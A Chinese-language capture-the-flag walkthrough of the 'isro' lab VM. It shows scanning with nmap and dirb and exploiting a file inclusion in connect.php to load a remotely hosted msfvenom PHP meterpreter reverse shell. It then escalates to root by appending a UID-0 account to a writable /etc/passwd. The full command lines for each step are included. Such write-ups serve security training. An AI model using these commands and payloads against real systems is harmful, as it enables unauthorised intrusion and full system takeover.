isro

靶机准备

将下载的压缩文件解压，打开vmx文件即可



将网络模式设置为NAT

扫描获得ip:192.168.164.185

kali：192.168.164.137

netdiscover -r 192.168.164.0/24

渗透测试

扫描其端口

nmap -sS -sV -T5 -A -p- 192.168.164.185

开放3个端口：22，80，65534



扫描目录：

dirb http://192.168.164.185 -X .php,.txt,.zip,.html

扫到两个



思索半天无果，查看一些wp说是connect.php存在文件包含漏洞，测试

http://192.168.164.185/connect.php?file=/etc/passwd

有回显



利用：

制作反弹shell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.164.137 LPORT=4444 R > shell.php

kali攻击机上开启web文件下载服务，

python -m SimpleHTTPServer

kali攻击机上开一个meterpretershell监听

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.164.137
exploit

通过访问

http://192.168.164.185/connect.php?file=http://192.168.164.137:8000/shell.php来制造反弹shell

访问后，在msf中获得shell



不是root权限，继续提权

转换为交互式的shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

查看/etc/passwd,ls -al /etc/passwd,发现当前账户可写



制作一个账户密码填进去，test：test

制作密码，

perl -le 'print crypt("test","salt")'

写入靶机/etc/passwd中

echo "test:salSp1wOPp6fk:0:0:test:/root:/bin/bash" >> /etc/passwd

成功提权



进入root目录获取flag